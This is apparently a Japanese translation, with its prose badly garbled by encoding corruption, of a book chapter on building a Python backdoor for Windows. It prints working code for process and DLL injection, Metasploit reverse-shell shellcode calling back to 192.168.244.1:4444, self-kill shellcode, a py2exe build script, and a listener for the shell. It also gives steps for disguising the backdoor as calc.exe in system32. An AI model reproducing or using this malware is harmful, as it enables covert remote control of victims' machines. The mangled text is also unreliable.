ã³ãŒãã¯ããã»ã©è€éã§ã¯ãããŸãã;ããªãã«ãšã£ãŠæ°ããããšã¯äœããããŸããã ã³ãŒãã®å®è£ ã«é²ãåã«ããã®éåžžã«æ³šå ¥ãããã³ãŒããé衚瀺ã«ããæ¹æ³ãæ€èšããŸãã ããã¯ãã¢ã³ãŒãã«çŽæ¥è¿œå ããŸãããã ããã»ã¹äœæã»ã¯ã·ã§ã³ã®çŽåŸã«ã³ãŒããæ·»ä»ããŠãã ããã å®è£ é¢æ°ã¯ãåã蟌ã¿ã³ãŒããšåã蟌ã¿DLLã®äž¡æ¹ã§æ©èœããŸãã ããã©ã¡ãŒã¿ããã1ãã«èšå®ããDLLãžã®ãã¹ããããŒã¿ãå€æ°ã«å ¥ããã ãã§ãã ããã§ã¯ãæž æœãã¯å®ããŸããããè¿ éãã€æ±ãè¡åãããŸãã backdoor.pyãã¡ã€ã«ã«åã蟌ã¿é¢æ°ãè¿œå ããŸãããã
backdoor.py
... def inject( pid, data, parameter = 0 ): # Get a handle to the process we are injecting into. h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) if not h_process: print "[*] Couldn't acquire a handle to PID: %s" % pid sys.exit(0) arg_address = kernel32.VirtualAllocEx(h_process, 0, len(data), VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_address, data, len(data), byref(written)) thread_id = c_ulong(0) if not parameter: start_address = arg_address else: h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll") start_address = kernel32.GetProcAddress(h_kernel32,"LoadLibraryA") parameter = arg_address if not kernel32.CreateRemoteThread(h_process,None, 0,start_address,parameter,0,byref(thread_id)): print "[*] Failed to inject the DLL. Exiting." sys.exit(0) return True
ããã¯ãã¢ã¯ããã³ãŒãã€ã³ãžã§ã¯ã·ã§ã³ããšãDLLã€ã³ãžã§ã¯ã·ã§ã³ãã®äž¡æ¹ãåŠçã§ããã€ã³ãžã§ã¯ã·ã§ã³æ©èœããµããŒãããŠããŸãã 次ã«ã2ã€ã®éšåã§æ§æãããã·ã§ã«ã³ãŒããæ¿å ¥ããŸãã 1ã€ã¯ãã·ã§ã«ãïŒæ»æè ãšã®éä¿¡çšã®ã·ã§ã«ïŒãæäŸããããšãç®çãšãããã1ã€ã¯ããã»ã¹ãå®äºããããã®ãã®ã§ãã ããã¯ãã¢ã«ã³ãŒããè¿œå ããŠãããŸãããã
backdoor.py
... # Now we have to climb out of the process we are in # and code inject our new process to kill ourselves #/* win32_reverse - EXITFUNC=thread LHOST=192.168.244.1 LPORT=4444 Size=287 Encoder=None http://metasploit.com */ connect_back_shellcode = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" \ "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" \ "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" \ "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" \ "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" \ "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" \ "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" \ "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" \ "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" \ "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68" \ "\xc0\xa8\xf4\x01\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xec\xf9" \ "\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68" \ "\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3" \ "\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab" \ "\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51" \ "\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6" \ "\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6" \ "\xff\x77\xfc\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0" inject( pid, connect_back_shellcode ) #/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA #Size=159 Encoder=None http://metasploit.com */ our_pid = str( kernel32.GetCurrentProcessId() ) process_killer_shellcode = \ "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \ "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \ "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \ "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \ "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \ "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \ "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \ "\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \ "\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \ "\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00" padding = 4 - ( len( our_pid ) ) replace_value = our_pid + ( "\x00" * padding ) replace_string= "\x41" * 4 process_killer_shellcode = process_killer_shellcode.replace( replace_string, replace_value ) # Pop the process killing shellcode in inject( our_pid, process_killer_shellcode )
ãããïŒããã»ã¹IDïŒPIDïŒãããã¯ãã¢ã«æž¡ããçæããããã»ã¹ïŒcalc.exeïŒã«ã·ã§ã«ã³ãŒããåã蟌ã¿ãŸãããã®åŸãããã¯ãã¢ã殺ããŸããããã§ãããã€ãã®ããªãã¯ã䜿çšããéåžžã«åªããããã¯ãã¢ãã§ããŸããããæãéèŠãªããšã¯ã誰ããé»åãèµ·åãããã³ã«ãæ»æããããã·ã³ã«ã¢ã¯ã»ã¹ã§ããããšã§ãã䟵害ãããã·ã¹ãã ãããããã®ã·ã¹ãã ã®ãŠãŒã¶ãŒããã¹ã¯ãŒãã§ä¿è·ãããã¢ããªã±ãŒã·ã§ã³ãŸãã¯é¢å¿ã®ããã¢ããªã±ãŒã·ã§ã³ã«ã¢ã¯ã»ã¹ã§ããå ŽåãæŠéç¶æ ã§ãã®ã¢ãããŒãã䜿çšã§ããŸãããã®å Žåããã¡ã€ã«ã眮ãæããŠãèµ·åçŽåŸã«ãã®ãããªã¢ããªã±ãŒã·ã§ã³ã®æäœã®çµæã«èªåèªèº«ãããã³ã§çããããšãã§ããŸãããŠãŒã¶ãŒãã¹ããŒãã£ã³ã°ãããã¢ããªã±ãŒã·ã§ã³ãèµ·åããŠã·ã¹ãã ã«ãã°ã€ã³ãããã³ã«ãããŒã¹ãããŒã¯ã®ç£èŠããããã¯ãŒã¯ãã±ããã®ååãªã©ãéå§ã§ããã·ã§ã«ïŒã·ã§ã«ïŒãååŸããŸãã 1ã€ã®å°ããªããšã解決ããå¿ èŠããããŸããã¹ã¯ãªãããå®è¡ããããã«å¿ èŠãªPythonãã€ã³ã¹ããŒã«ãããŠããŸããïŒç¶ããèªããšã次ã®ãããªãã°ãããPythonã©ã€ãã©ãªã«ã€ããŠåŠã¶ããšãã§ããŸããpy2exeã䜿çšãããšãPythonã¹ã¯ãªãããå®éã®Windowså®è¡å¯èœãã¡ã€ã«ã«å€æã§ããŸãã exeãã¡ã€ã«ã
py2exe䜿ãæ¹7.2.3
ã©ã€ãã©ãªpy2exeã [2] ãæ¬æ ŒçãªWindowså®è¡ãã¡ã€ã«ã«Pythonã¹ã¯ãªãããã³ã³ãã€ã«ããããšãå¯èœã§ãã䜿çšããåã«ãã³ã³ãã€ã«ãããã®ã決å®ããç¹å¥ãªã€ã³ã¹ããŒã«ã¹ã¯ãªãããäœæããå¿ èŠããããŸããããã¯ãã¢ãã³ã³ãã€ã«ããããã«ãããªãåçŽãªã¹ã¯ãªãããäœæããŸããæ°ãããã¡ã€ã«ãéããsetup.pyãšããååãä»ããŠã次ã®ã³ãŒããå ¥åããŸãã
setup.py
# Backdoor builder from distutils.core import setup import py2exe setup(console=['backdoor.py'], options = {'py2exe':{'bundle_files':1}}, zipfile = None, )
ã¯ãã圌ã¯ãšãŠãã·ã³ãã«ã§ããã€ã³ã¹ããŒã«æ©èœã«æž¡ããããã©ã¡ãŒã¿ãŒãèŠãŠã¿ãŸããããæåã®ãã©ã¡ãŒã¿ãŒãconsoleãã¯ãã³ã³ãã€ã«ããã¡ã€ã³ã¹ã¯ãªããã®ååã§ãããªãã·ã§ã³ãšzipfileãã©ã¡ãŒã¿ãŒã¯ãPython DLLãšä»ã®ãã¹ãŠã®äŸåã¢ãžã¥ãŒã«ãã¡ã€ã³å®è¡å¯èœãã¡ã€ã«ã«çµåããããã«èšå®ãããŸããããã«ãããPythonãååšããªãã·ã¹ãã ã«è»¢éã§ãããšããæå³ã§ãããã¯ãã¢ãã¢ãã€ã«ã«ãªããåäœããŸããã³ã³ãã€ã«ããåã«ããã¡ã€ã«my_debugger_defines.pyãbackdoor.pyãããã³setup.pyãåããã£ã¬ã¯ããªã«ããããšã確èªããŠãã ããã次ã«ãã³ãã³ãã©ã€ã³ã«ç§»åãã以äžã«ç€ºãããã«ã€ã³ã¹ããŒã«ã¹ã¯ãªãããå®è¡ããŸãã
python setup.py py2exe
ãã®åŸãã³ã³ãã€ã«ããã»ã¹ããã®åºåã衚瀺ããããã®åŸã«2ã€ã®distããã³buildãã£ã¬ã¯ããªãäœæãããŸããdistãã©ã«ããŒã®ããŒããªã¢ã§ã¯ãbackdoor.exeãããªããåŸ ã£ãŠããŸããååãcalc.exeã«å€æŽãããã¹ãçšã®ã¿ãŒã²ããã·ã¹ãã ã«ã³ããŒããŸãã次ã«ããCïŒ\ WINDOWS \ system32 \ãããå ã®calc.exeãã³ããŒãããã©ã€ããCïŒ\ãã®ã«ãŒãã«é 眮ããŸãã次ã«ãããã¯ãã¢calc.exeããCïŒ\ WINDOWS \ system32 \ãã«ç§»åããŸããããã§ããªã¢ãŒãã·ã¹ãã ã§ã·ã§ã«ãæäœããããã«å¿ èŠãªã®ã¯ãã³ãã³ããéåä¿¡ããããã®ç°¡åãªã¹ã¯ãªãããæžãããšã ãã§ããæ°ããPythonãã¡ã€ã«ãéããbackdoor_shell.pyãšããååãä»ããŸã次ã®ã³ãŒããå ¥åããŸãã
backdoor_shell.py
import socket import sys host = "192.168.244.1" port = 4444 server = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) server.bind( ( host, port ) ) server.listen( 5 ) print "[*] Server bound to %s:%d" % ( host , port ) connected = False while 1: #accept connections from outside if not connected: (client, address) = server.accept() connected = True print "[*] Accepted Shell Connection" buffer = "" while 1: try: recv_buffer = client.recv(4096) print "[*] Received: %s" % recv_buffer if not len(recv_buffer): break else: buffer += recv_buffer except: break # We've received everything, now it's time to send some input command = raw_input("Enter Command> ") client.sendall( command + "\r\n\r\n" ) print "[*] Sent => %s" % command
ããã¯ãæ¥ç¶ãåŸ æ©ããŠãœã±ããã®èªã¿åã/æžã蟌ã¿ãè¡ãã ãã®éåžžã«åçŽãªãœã±ãããµãŒããŒã§ããç°å¢ã®ãã¹ãå€æ°ãšããŒãå€æ°ã®ã»ããã䜿çšããŠããµãŒããŒãèµ·åããŸãã次ã«ãcalc.exeãå®è¡ããŸããªã¢ãŒãã·ã¹ãã äžïŒããŒã«ã«ã³ã³ãã¥ãŒã¿ãŒã§ãåãããã«åäœããŸãïŒã次ã«ãé»åãŠã£ã³ããŠã衚瀺ããããœã±ãããµãŒããŒãæ¥ç¶ãç»é²ããããŒã¿ãååŸããŸãããªã¢ãŒãã·ã¹ãã ããããŒã¿ãåä¿¡ãããµã€ã¯ã«ãäžæããã«ã¯ãCTRL-CãæŒããŸããããã«ãããã³ãã³ããå ¥åã§ããŸããããã§ã¯ãWindowsã®ãã€ãã£ãã·ã§ã«ã·ã§ã«ã³ãã³ãã§ããdirãcdããŸãã¯typeãªã©ã®ã³ãã³ããè©Šãããšãã§ããŸããåã³ãã³ããå ¥åãããšããã®çµæã衚瀺ãããŸããããã§ãããã¯ãã¢ãšå¯Ÿè©±ããããã®å¹æçã§ãããã«èŠããªãæ段ãã§ããŸãããæ³ååãé§äœ¿ããŠæ©èœãæ¡åŒµããŠãã ãããæ éã«èããã¢ã³ããŠã€ã«ã¹ãåé¿ããŠãã ããã Pythonã§ãã®ãããªãã®ãéçºããå©ç¹ã¯ãé床ã䜿ãããããåå©çšæ§ã§ãã
ãã®ç« ã§èŠãããã«ãã³ãŒããšDLLã®å®è£ ã¯2ã€ã®éåžžã«äŸ¿å©ã§åŒ·åãªææ³ã§ããããã§ããã³ãã¹ããŸãã¯ãªããŒã¹äžã«äŸ¿å©ã«ãªãæ°ããã¹ãã«ãè£ åãããŸããã次ã®ç« ã§ã¯ãPythonããŒã¹ã®ãã¡ã¶ãŒã®äœ¿çšã«çŠç¹ãåœãŠãŸãããã€ãã£ãããŒã«ãšäžéšã®ãªãŒãã³ãœãŒã¹ããŒã«ã®äž¡æ¹ãæ€èšãããŸãã
åç §è³æ
[1] MSDN CreateRemoteThreadé¢æ°ïŒhttp://msdn.microsoft.com/en-us/library/ms682437.aspxïŒãåç §ããŠãã ãã
[2] py2exeã®ããŠã³ããŒãã«ã€ããŠã¯ãïŒhttp://sourceforge.net/project/showfilesã«ã¢ã¯ã»ã¹ããŠãã ããã .phpïŒgroup_id = 15583ïŒ
åºæ